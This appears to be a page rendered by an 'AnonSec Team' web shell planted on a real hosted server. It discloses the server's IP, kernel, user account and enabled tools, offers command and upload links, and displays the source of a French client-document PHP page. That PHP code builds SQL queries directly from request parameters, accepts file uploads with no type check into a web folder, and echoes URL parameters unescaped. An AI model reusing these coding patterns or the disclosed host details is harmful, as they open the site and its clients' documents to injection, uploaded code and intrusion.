AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/logmcpe/www/TMCPRO/pages/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/TMCPRO/pages/fcdocument_18_01_2023_bien.php
<?php
// include 'includes/config_tmcpro2.php' ;
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
$pagemenu = basename($_SERVER["PHP_SELF"]) ;

$agence = 7 ;

 $client =$_SESSION["client_id"] ;
  $client_id=$_SESSION["client_id"] ;
 // $client=$_SESSION["client_id"] ;
 // ini_set('display_errors','on');
// error_reporting(E_ALL);

 // echo "==> $client <br/>" ;

// print_header ();


function string2url($chaine) {
 $chaine = trim($chaine);
 $chaine = strtr($chaine, "A?A???а?в?????O?????ф???EEEEийклCз??II??опU?UUщ?ыь???","aaaaaaaaaaaaooooooooooooeeeeeeeecciiiiiiiiuuuuuuuuynn");
 $chaine = strtr($chaine,"ABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyz");
 $chaine = preg_replace('#([^.a-z0-9]+)#i', '-', $chaine);
        $chaine = preg_replace('#-{2,}#','',$chaine);
        $chaine = preg_replace('#-$#','',$chaine);
        $chaine = preg_replace('#^-#','',$chaine);
 return $chaine;
}


	if (!is_dir("documents"))
	{
		mkdir("documents", 0755) ;
		chmod("documents", 0755) ;
	}
		if (!is_dir("documents/clients"))
	{
		mkdir("documents/clients", 0755) ;
		chmod("documents/clients", 0755) ;
	}
		if (!is_dir("documents/intervenants"))
	{
		mkdir("documents/intervenants", 0755) ;
		chmod("documents/intervenants", 0755) ;
	}





$nomrep="documents/clients";
// echo "vvv <br/>" ;
if(isset($_GET['action']) && isset($_GET['id'])&& $_GET['action']=='sup')
{
	// echo "vvvKKKK <br/>" ;
	// exit();
$id=$_GET['id'];
$qa1 = dbi_query("DELETE FROM document_client WHERE document_id = ".$id) ;

$a1=dbi_fetch_row($qa1);
	header('Location:fcdocument.php?msg=Document bien supprimé&color=success');

}







// if(!empty($_POST['Modifier']))
// {

// }


if($_POST["Modifier"]== "Modifier"){
	 // echo "aa <br/>" ;
  if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name']))
  {


	  	// echo "<pre>" ;
	// print_r($_POST) ;
	// echo "<pre>" ;

	// exit() ;



  $document_id=$_POST['document_id'] ;
						$document_nom=$_POST['document_nom'] ;





	// dbi_query("INSERT INTO document_client (

						// document_nom,
						// client_id,
						// document_visibilite,
						// date_document,
						// document_emplacement )

						// VALUES (

						// '$document_nom',
						// '$client_id',
						// '$document_visibilite',
						// '$date_document',
						// '$target_file'

					    // )") ;




						dbi_query("

						UPDATE document_client SET
						document_nom = '$document_nom',


                        client_id = '$client_id'
						WHERE document_id = '$document_id'

					    ") ;
						header('Location:fcdocument.php?msg=Document bien Modifié&color=success');
  }
  else
  {

	  				  				  $target_dir = "documents/clients/";
									  $document_id=$_POST['document_id'] ;

  $target_file = $target_dir."".$document_id."". basename(addslashes($_FILES["file"]["name"]));
  $uploadOk = 1;
  $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));


				 move_uploaded_file($_FILES["file"]["tmp_name"], $target_file) ;

				 // header("location: salarie_document.php?msg=Course added&color=success");


						$document_nom= addslashes($_POST['document_nom']) ;
						$document_visibilite=$_POST['document_visibilite'] ;







						dbi_query("

						UPDATE document_client SET
						document_nom = '$document_nom',
						document_emplacement = '$target_file' ,

                          client_id = '$client_id'
						WHERE document_id = '$document_id'

					    ") ;
						header('Location:fcdocument.php?msg=Document bien Modifié&color=success');
						// header("location: course.php");




  }
}













if((!empty($_FILES)) and (empty($_POST['Modifier'])))
{





	// echo "<pre>" ;
	// print_r($_FILES) ;
	// echo "<pre>" ;


	// echo "<pre>" ;
	// print_r($_POST) ;
	// echo "<pre>" ;


	// exit() ;

	       list($document_id)=  dbi_fetch_row(dbi_query( "SELECT max(document_id) FROM `document_client`")) ;
		  $document_id= $document_id + 1 ;
				  $target_dir = "documents/clients/";
				  $date_document = date('Ymd');
  $target_file = $target_dir."".$document_id."". basename(addslashes($_FILES["file"]["name"]));
  $uploadOk = 1;
  $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));


				 move_uploaded_file($_FILES["file"]["tmp_name"], $target_file) ;

				 // header("location: salarie_document.php?msg=Course added&color=success");

						$document_nom=addslashes($_POST['document_nom']) ;
						$document_visibilite=$_POST['document_visibilite'] ;




						dbi_query("INSERT INTO document_client (

						document_nom,
						client_id,
						document_visibilite,
						date_document,
						document_emplacement )

						VALUES (

						'$document_nom',
						'$client_id',
						'$document_visibilite',
						'$date_document',
						'$target_file'

					    )") ;
						header('Location:fcdocument.php?msg=Document bien ajouté&color=success');



// $qa1 = dbi_query("SELECT client_nom,client_data FROM ".TABLE_CLIENT." WHERE  client_id=$client ") ;
// $a1=dbi_fetch_row($qa1);
// $data = unserialize($a1['client_data']);

// $nbre_data=count($data);
// $nb_min = 1;
// $nb_max = 10000;
// $nombre = mt_rand($nb_min,$nb_max);
// $client_nom=$a1['client_nom'];
// $desc="";
// if(!empty($_POST['desc']))
// $desc=$_POST['desc'];



// $date_doc = date('Ymd');
// $extension = strrchr($_FILES['doc']['name'], '.');

// $nom_doc=addslashes('client-'.$agence.'-'.$client_nom.''.$nombre.''.$extension.'');

// $nom_doc=string2url($nom_doc);

// if(empty($a1['client_data']))
// $client_data=array(array($nom_doc,$date_doc,$desc));
// else {
// $client_data=$data;
// array_push( $client_data,array($nom_doc,$date_doc,$desc));
// }

// if(move_uploaded_file($_FILES['doc']['tmp_name'] , "$nomrep/".$nom_doc.''))
// dbi_query("UPDATE ".TABLE_CLIENT." SET client_data='".addslashes(serialize($client_data))."' WHERE  client_id=$client ") ;
// else $erreur=true	;

	}



$q= dbi_fetch_row(dbi_query("SELECT * FROM client where client_id = ".$client_id)) ;

	?>





<!DOCTYPE html>
<html>

			<head>

			<?php include('header.php'); ?>
			<link rel="stylesheet" href="../../plugins/summernote/summernote-bs4.css">

			</head>

<body class="hold-transition sidebar-mini">
												<!-- Site wrapper -->
<div class="wrapper">

		  <nav class="main-header navbar navbar-expand navbar-white navbar-light">
		 <!-- Menu extensible -->
			<ul class="navbar-nav">
			  <li class="nav-item">
				<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
			  </li>

		<!-- liens TOP MENU GAUCHE-->

			  <li>
			  <button  href="#myModal"  id="custId" data-toggle="modal" type="button" class="btn btn-primary" ><?php echo strtoupper ("Nouveau document") ; ?> </button></h3>
			  </li>



			</ul>

		 <!-- liens TOP MENU DROITE -->
			<ul class="navbar-nav ml-auto">
			 <!-- Placer ici l'élément à positionner à droite du TOP MENU -->
			</ul>

		  </nav>  <!-- fin du TOP MENU -->



<!-- BARRE DE NAVIGATION -->

 <!-- Couleur et caracteristiques de la barre de navigation-->



 <?php include('menu.php'); ?>

   <div  class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in" tabindex="-1"  aria-labelledby="myLargeModalLabel" >
  <div class="modal-dialog modal-lg">
    <div class="modal-content data">
		<div id="fetch" ></div>


        </div>
    </div>
</div>


 <!-- Ne pas toucher au dessus / fin de la BARRE DE NAVIGATION-->

 <!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <div class="content-header">
      <div class="container-fluid">
        <div class="row mb-2">
          <div class="col-sm-6">
            <h1 class="m-0 text-dark"></h1>
          </div><!-- /.col -->
          <div class="col-sm-6">

          </div><!-- /.col -->
        </div><!-- /.row -->
      </div><!-- /.container-fluid -->
    </div>
    <!-- /.content-header -->

    <!-- PAGE PRINCIPALE -->
    <div class="content">
      <div class="container-fluid">

        <?php include('widget_client_haut.php'); ?>
        </div>
        </div>



        <div class="col-lg-12">
      <!-- CARD DE DROITE-->
           <div class="card card-info">

             <?php include('menu_client_haut.php'); ?>





					<div class="card">

						  <!-- /.card-header -->
						<div class="card-body">
						<section class="content">

												   					  		  <?php
			      if(isset($_GET["msg"])){
        ?>
        <div class="alert alert-<?php echo $_GET["color"]; ?>  alert-dismissible col-12" role="alert">
          <strong><?php echo $_GET["color"].': '; ?></strong><?php echo $_GET["msg"]; ?>.
          <button type="button" class="close" data-dismiss="alert" aria-label="Close">
            <span aria-hidden="true">&times;</span>
          </button>
        </div>
        <?php
        }
       ?>


<?php

if(!empty($_GET['document_id']))
{
	// echo " je suis la pour modifié <br/>" ;
	$qa = dbi_query("SELECT * FROM document_client WHERE   document_id  = ".$_GET['document_id']) ;
	    $ddocum= dbi_fetch_row($qa) ;

		$document_emplacement = $ddocum['document_emplacement'];
		$document_nom  = $ddocum['document_nom'] ;


	?>
	<form action="" enctype="multipart/form-data"  method="POST">

	<div class="form-row">


          <div class="form-group col-md-6">
       <label for="inputAddresse">Nom du Document</label>
    <input type="text" class="form-control"  name="document_nom"   value=" <?php echo $document_nom ;?>" placeholder="Nom du document">
  </div>





				  	<div class="form-group col-md-6">
                    <label for="exampleInputFile">T&#233;l&#233;charger <a target="_blank" href="<?php echo $document_emplacement; ?>">(voir ancienne fichier)</a><br> </label>
                    <div class="input-group">
                      <div class="custom-file">
					  <input type="hidden" value="<?php echo $_GET['document_id']; ?>" name="document_id">

                  <input type="hidden" value="<?php echo $document_emplacement; ?>" name="old-file" id="old-file">
                        <input type="file" class="custom-file-input" name="file"  >

                        <label class="custom-file-label" for="exampleInputFile">Choisir....</label>
                      </div>

					   <div class="input-group-append">
                        <span class="input-group-text" id="">Upload</span>
                      </div>

                    </div>
                  </div>











  </div>

    <button type="submit" name="Modifier"  value="Modifier"  class="btn btn-primary">Modifier</button>
  </form>

  <?
}






$qa = dbi_query("SELECT * FROM document_client WHERE   client_id=$client ") ;



?><br clear="all" />

 <table id="example1" class="table table-hover">
    <thead>
        <tr>
			<th style="text-align:center;">CONSULTER</th>
			<th style="text-align:center;">DESCRIPTION</th>
			<th style="text-align:center;">DATE</th>
			<th style="text-align:center;"></th>
		</tr>
    </thead>
    <tbody>
		<?php

			while($docc = dbi_fetch_row($qa)){

				$nomrepp=$docc['document_emplacement'];

				// echo "==> $nomrep <br/>" ;

		?>
	<tr>
		<td style="text-align:center;">  <a class="btn btn-primary btn-sm"  href="<?=$nomrepp?>" target="_blank"><i class="fas fa-file"></i> </a></td>
		<td style="text-align:center;"><?=$docc['document_nom']?></td>
		<td style="text-align:center;"><?=int2date($docc['date_document'])?></td>

		<td align="center" nowrap>


		 <a class="btn btn-info btn-sm" href="fcdocument.php?document_id=<?=$docc['document_id']?>">
               <i class="fas fa-pencil-alt"></i>

                   </a>

		<a href="fcdocument.php?doc=cl&action=sup&id=<?=$docc['document_id']?>" onclick="return confirm('Voulez-vous vraiment supprimer ce document ?');" class="btn btn-danger btn-sm"> <i class="fas fa-trash"></i>         </a>  </td>
	</tr>
		<?php }
		echo '</tbody>' ;
		echo '</table>';


		?>



						</div>
					</div>
				 </div>
			</div>


              </div>
            </div>
          </div>
          <!-- /.col-md-6 -->
        </div>
        <!-- /.row -->
      </div><!-- /.container-fluid -->
    </div>
    <!-- /.content -->
  </div>
  <!-- /.content-wrapper -->

  <!-- Control Sidebar -->
  <aside class="control-sidebar control-sidebar-dark">
    <!-- Control sidebar content goes here -->
    <div class="p-3">
      <h5>Title</h5>
      <p>Sidebar content</p>
    </div>
  </aside>
  <!-- /.control-sidebar -->
  <footer class="main-footer">
    <div class="float-right d-none d-sm-block">
      <b>Version</b> 3.0.1
    </div>
    <strong>Copyright &copy; 2014-2019 <a href="http://adminlte.io">AdminLTE.io</a>.</strong> All rights
    reserved.
  </footer>

  <!-- Control Sidebar -->
  <aside class="control-sidebar control-sidebar-dark">
    <!-- Control sidebar content goes here -->
  </aside>
  <!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->

<!-- jQuery -->
<script src="../../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
<script src="../../plugins/summernote/summernote-bs4.min.js"></script>
<script>
  $(function () {
    // Summernote
    $('.textarea').summernote()
  }) ;



  $(document).ready(function(){
    $('#myModal').on('show.bs.modal', function (e) {
        var rowid = $(e.relatedTarget).data('id');
        $.ajax({
            type : 'post',
            url : 'ajaxAjoutDocument.php', //Here you will fetch records
            data :  'rowid='+ rowid, //Pass $id
            success : function(data){
            $('#fetch').html(data);//Show fetched data from database
            }
        });
     });
});

</script>
</body>
</html>

AnonSec - 2021